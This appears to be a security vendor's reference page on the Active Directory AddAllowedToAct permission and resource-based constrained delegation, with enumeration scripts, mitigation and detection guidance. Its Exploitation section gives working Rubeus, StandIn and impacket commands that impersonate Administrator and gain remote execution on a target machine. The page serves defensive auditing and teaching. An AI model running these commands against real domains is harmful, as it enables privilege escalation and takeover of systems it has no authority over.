AddAllowedToAct

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Summary


Forestall ACL Alias	AddAllowedToAct
AD Alias	Write msDS-AllowedToActOnBehalfOfOtherIdentity
Affected Object Types	Computers
Exploitation Certainty	Certain
AD Attribute	msDS-AllowedToActOnBehalfOfOtherIdentity
Attribute GUID	3f78c3e5-f79a-46bd-a0b8-9d18116ddc79
AD Right	WriteProperty

Description

The AddAllowedToAct permission in Active Directory allows an account to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on computer or service accounts. This permission is crucial for configuring Kerberos Resource-Based Constrained Delegation (RBCD), enabling services to impersonate users securely and access resources on their behalf. It facilitates flexible authentication scenarios and simplifies delegation configurations within the network.

However, if misconfigured, the AddAllowedToAct permission can introduce significant security vulnerabilities. An attacker with this permission can add their own account to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a target computer or service account. This grants them the ability to impersonate any user when accessing services on that machine. Exploiting this vulnerability could lead to unauthorized access, privilege escalation, and full compromise of the system, as the attacker can act on behalf of any user—including domain administrators—to access sensitive resources.

Identification

PowerShell

Using the Active Directory PowerShell module, you can enumerate AddAllowedToAct entries.

1. Find-AddAllowedToAct Function

function Find-AddAllowedToAct {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "AddAllowedToAct.csv")
    Import-Module ActiveDirectory
    Write-Host "Searching for permissions on the msDS-AllowedToActOnBehalfOfOtherIdentity attribute..."
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
    # Guid of Write msDS-AllowedToActOnBehalfOfOtherIdentity
    $AddAllowedToActPermissionGuid = "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
    $foundAcls = @();$objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Searching for permissions on specific object: '$Target'."
            $specificObject = Get-ADObject -Identity $Target -Properties servicePrincipalName, nTSecurityDescriptor -ErrorAction Stop
            if ($specificObject) {
                if ($specificObject.servicePrincipalName) {
                    $objectsToScan += $specificObject
                } else {Write-Output "Object '$Target' does not have a Service Principal Name and is not a valid target for this check.";return}
            } else {
                Write-Output "Object '$Target' not found.";return}} else {
            Write-Host "Searching for all Active Directory objects with a Service Principal Name."
            $actualSearchBase = if ($SearchBase) { $SearchBase } else { (Get-ADRootDSE).DefaultNamingContext }
            $objectsToScan = Get-ADObject -Filter 'servicePrincipalName -like "*"' -Properties servicePrincipalName, nTSecurityDescriptor -SearchBase $actualSearchBase -ErrorAction Stop
        }
        if (-not $objectsToScan) { Write-Output "No Active Directory objects with a Service Principal Name were found to scan.";return}
        foreach ($obj in $objectsToScan) {
            $ObjectDistinguishedName = $obj.DistinguishedName
            try {
                $acl = Get-Acl -Path "AD:$ObjectDistinguishedName"
                foreach ($ace in $acl.Access) {
                    if ($ace.AccessControlType -eq $AccessControlType -and ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and ($ace.ObjectType -eq $AddAllowedToActPermissionGuid) -and -not $ace.IsInherited -and -not $isExcluded) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Object' = $ObjectDistinguishedName
                            'Internal Threat'   = $ace.IdentityReference.Value # Get the string representation
                        }}}}
            catch {Write-Warning "Could not retrieve ACL for '$ObjectDistinguishedName': $($_.Exception.Message)"}}}
    catch {Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)";return}
    if ($foundAcls.Count -gt 0) {
        Write-Host "Found $($foundAcls.Count) Active Directory object(s) with 'WriteProperty' permissions on the RBCD attribute"
        try {
            $foundAcls | Sort-Object -Unique 'Vulnerable Object', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        } catch {Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)" }
    } else {Write-Output "No Active Directory objects found with 'WriteProperty' permissions on the RBCD attribute"}}

2. Scan all domain Service Principal Names objects

Find-AddAllowedToAct

3. Scan a specific object

Find-AddAllowedToAct -Target 'CN=VM01,OU=Workstations,DC=forestall,DC=labs'

4. Using SearchBase to limit the searching scope

Find-AddAllowedToAct -SearchBase "OU=Domain Controllers,DC=hecker,DC=local"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate AddAllowedToAct entries without relying on any external modules or dependencies.

1. Find-AddAllowedToActSimple function

function Find-AddAllowedToActSimple {
    [CmdletBinding()]
    param([string]$Target )
    $rbcdGuid = [guid]"3f78c3e5-f79a-46bd-a0b8-9d18116ddc79"
    if ($Target -and $Target -match '=') {
        Write-Verbose "Binding directly to object: $Target"
        try {
            $entries = @(New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target"))
        }catch {Write-Error "Failed to bind to object '$Target': $_";return}}
    else {
        if ($Target) {
            Write-Verbose "Binding to RootDSE on server $Target...";$rootDE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target/RootDSE")}
        else {Write-Verbose "Binding to local RootDSE...";$rootDE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")}
        $baseDN = $rootDE.Properties["defaultNamingContext"].Value
        Write-Verbose "defaultNamingContext = $baseDN";$ldapPath = if ($Target) { "LDAP://$Target/$baseDN" } else { "LDAP://$baseDN" }
        Write-Verbose "Using search root: $ldapPath";$searchRoot = New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
        Write-Verbose "Searching for (servicePrincipalName=*)...";$searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
        $searcher.Filter   = "(servicePrincipalName=*)";$searcher.PageSize = 1000
        [void]$searcher.PropertiesToLoad.Add("distinguishedName")
        try {
            $hits = $searcher.FindAll()
            Write-Verbose "Found $($hits.Count) SPN’d object(s)."
        }catch {Write-Error "LDAP search failed: $_";return}
        $entries = foreach ($hit in $hits) {
            try { $hit.GetDirectoryEntry() }
            catch { Write-Warning "Could not bind entry: $_"; continue }}}
        $found = foreach ($entry in $entries) {
        Write-Verbose "Checking ACLs on: $($entry.distinguishedName)"
        try {$acl  = $entry.ObjectSecurity;$aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])}
        catch {Write-Warning "Failed to retrieve ACL for $($entry.distinguishedName): $_";continue}
        foreach ($ace in $aces) {
            $isAllow      = $ace.AccessControlType -eq [System.Security.AccessControl.AccessControlType]::Allow
            $hasWriteProp = ($ace.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)
            $isRBCD       = $ace.ObjectType -eq $rbcdGuid
            $inherited    = $ace.IsInherited
            if ($isAllow -and $hasWriteProp -and $isRBCD -and -not $inherited) {
                $who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
                [PSCustomObject]@{
                    Object    = $entry.distinguishedName.ToString()
                    Principal = $who
                }}}}
    if ($found) {
        $found | Export-Csv -Path ".\AddAllowedToAct.csv" -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to AddAllowedToAct.csv"
    }else {Write-Host "No RBCD ACLs found."}}

2. Scan all Service Principal Names objects in the domain

Find-AddAllowedToActSimple

3. Scan a specific object

Find-AddAllowedToActSimple -Target "CN=Vm01,OU=Workstations,DC=Forestall,Dc=labs"

Active Directory Users and Computers

1. Open Active Directory Users and Computers on a Windows server.

2. Right-click the object and select Properties.

3. In the Properties window, go to the Security tab.

4. Click the Advanced button to open the Advanced Security Settings dialog.

5. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to review.

6. Click Edit to modify the selected ACE.

7. In the permissions list, locate and check the option Write msDS-AllowedToActOnBehalfOfOtherIdentity if you intend to grant it, or clear it to remove the permission.

8. Click OK to save and close the dialogs.

Exploitation

This permission can be exploited on Windows systems using tools like Rubeus and on Linux systems with the impacket suite. After exploitation, an attacker can obtain the target computer’s credentials.

Windows

Create a new computer

This step can be skipped if a controlled SPN account already exists; otherwise, create a new computer using standin.

.\StandIn.exe --computer vm05 --make

To write msDS-AllowedToActOnBehalfOfOtherIdentity attribute

Set-ADComputer -Identity vm01 -PrincipalsAllowedToDelegateToAccount vm05$

(Get-ADComputer -Identity VM05).SID.Value
.\StandIn.exe --computer vm01 --sid S-1-5-21-3838874360-3982899950-1830233728-1117

To get a TGT for the controlled SPN account

.\Rubeus.exe asktgt /user:"vm05$" /password:"M7MzyExJiCfq3FX" /domain:forestall.labs /nowrap /enctype:aes128

To get a service ticket for an impersonated user

.\Rubeus.exe s4u /nowrap /impersonateuser:Administrator /msdsspn:"cifs/vm01.forestall.labs" /ptt /ticket:"doI[snip..]sLmxhYnM="

To check admin access on the target

ls \\vm01.forestall.labs\c$

Linux

Creating a new Computer

This step can be skipped if a controlled SPN account already exists; otherwise, create a new computer using impacket-addcomputer.

impacket-addcomputer <domain>/<user>:'<pass>' -computer-name '<newComputerName>' -computer-pass '<pass>' -dc-host <dchost> -k

To write msDS-AllowedToActOnBehalfOfOtherIdentity attribute

impacket-rbcd -delegate-from '<controlledSPNAccount>' -delegate-to '<targetMachine>' -action write <domain>/<user>:'<pass>' -k -use-ldaps

To get a service ticket

impacket-getST -spn cifs/<targetMachineDNSHost> -impersonate <userToImpersonate> <domain>/'<controlledSPNAccount>':'<pass>'@<dchost> -k

To execute on the target machine

KRB5CCNAME='<ticketPath' impacket-psexec <domain>/<impersoantedUser>@<targetDnsHost> -k -no-pass

Example:

To create a new computer

impacket-addcomputer forestall.labs/adam:'Temp123!' -computer-name 'VM06' -computer-pass 'Temp123!' -dc-host dc.forestall.labs -k

To write msDS-AllowedToActOnBehalfOfOtherIdentity Attribute

impacket-rbcd -delegate-from 'VM06$' -delegate-to 'VM01$' -action write forestall.labs/adam:'Temp123!' -k -use-ldaps

To get a service ticket

impacket-getST -spn cifs/vm01.forestall.labs -impersonate administrator forestall.labs/'VM06$':'Temp123!' -k

Then

KRB5CCNAME='administrator@[email protected]' impacket-psexec forestall.labs/[email protected] -k -no-pass

Granted by

This RBCD edge requires writing the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer. The narrower WriteAccountRestrictions right grants exactly this, and broader GenericAll or GenericWrite over the computer object also enable it.

Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

1. Open Active Directory Users and Computers and enable the ‘Advanced Features’ option.

2. Double-click the affected object and open the Security tab.

3. In the Security tab, click the ‘Advanced’ button, then edit the dangerous object’s Access Control Entry.

4. Remove the Write msDS-AllowedToActOnBehalfOfOtherIdentity permission from the ACE.

5. Click OK and Apply to save your changes.

Detection

Adding new Access Control Entries to Active Directory objects updates the ntSecurityDescriptor attribute on those objects.

These changes can be detected using Event IDs 5136 and 4662 to identify dangerous modifications to objects.

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	ntSecurityDescriptor	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136\|
4662	An operation was performed on an object.	AccessList, AccessMask	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662\|
4724	An attempt was made to reset an account’s password.	TargetUserName, SubjectUserName	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4724\|
4722	A user account was enabled.	TargetUserName, SubjectUserName	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4722\|
4768	A Kerberos authentication ticket (TGT) was requested.	TargetUserName	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768\|
4769	A Kerberos service ticket was requested.	TargetUserName, ServiceName	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769\|

AddAllowedToAct

Summary

Description

Identification

PowerShell

.NET Directory Services

Active Directory Users and Computers

Exploitation

Windows

Create a new computer

To write msDS-AllowedToActOnBehalfOfOtherIdentity attribute

To get a TGT for the controlled SPN account

To get a service ticket for an impersonated user

To check admin access on the target

Linux

Creating a new Computer

To write msDS-AllowedToActOnBehalfOfOtherIdentity attribute

To get a service ticket

To execute on the target machine

To create a new computer

To write msDS-AllowedToActOnBehalfOfOtherIdentity Attribute

To get a service ticket

Granted by

Mitigation

Detection

References